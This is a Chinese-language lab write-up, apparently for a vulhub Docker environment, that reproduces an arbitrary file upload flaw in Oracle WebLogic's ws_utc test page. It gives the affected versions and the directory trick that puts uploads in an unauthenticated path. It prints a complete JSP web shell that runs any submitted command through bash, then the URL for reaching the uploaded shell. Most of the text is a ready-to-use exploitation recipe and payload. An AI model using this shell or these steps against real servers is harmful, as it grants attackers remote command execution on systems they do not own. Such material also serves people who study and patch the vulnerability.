Weblogic
前言影响的版本:Oracle Weblogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。 受到影响的页面为/ws_utc/config.do和ws_utc/begin.do 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限
环境搭建此漏洞环境依托于vulhub,前提是搭建好vulhub环境。搭建好环境后,切换到漏洞对应的目录下,启动docker。 环境启动后,访问your-ip:7001/console,即可看到后台登录页面,执行docker-pose logs | grep password可以查看管理员密码,就可以登陆到后台里面了(注意:默认用户名是weblogic,而不是时admin) 登陆到后台之后就要进行一些配置了,点击base_domain–>高级–>勾上web服务测试页
漏洞复现访问your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 更改目录的原因是给出的默认目录不在web工作目录,所以要更改到web的工作目录。如果不更改,shell会上传到
/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir/config/keystore/目录下面,访问会是404,还要登陆后wls_utc才能访问(47.52.239.99:7001/ws_utc/login.do) 静态文件css目录,访问这个目录是不需要权限的 点击安全–>添加,然后上传webshell 以下是jsp脚本
<%@ page import="java.util.*,java.io.*,java.net.*"%><HTML><BODY><FORM METHOD="POST" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "\n<BR>");Process p = Runtime.getRuntime().exec("/bin/bash -c " + request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr); disr = dis.readLine(); }}%></pre></BODY></HTML>//如果使用windows环境的话,exec后面的命令就应该改为:cmd.exe /c前面是一个表单,方便输入命令,下面才是jsp脚本
request.getParameter():作用是在页面中获取后台传入的数据out.println():控制输出process:是java程序想要执行linux主要依赖的类,这里定义了一个pOutputStream/InputStream:控制输入和输出流上传后的文件名为:时间戳+下划线+上传的文件名名称,然后再用浏览器去访问就行了
your-ip:7001/ws_utc/css/config/keystroe/1563019467803_shell.jspWeblogic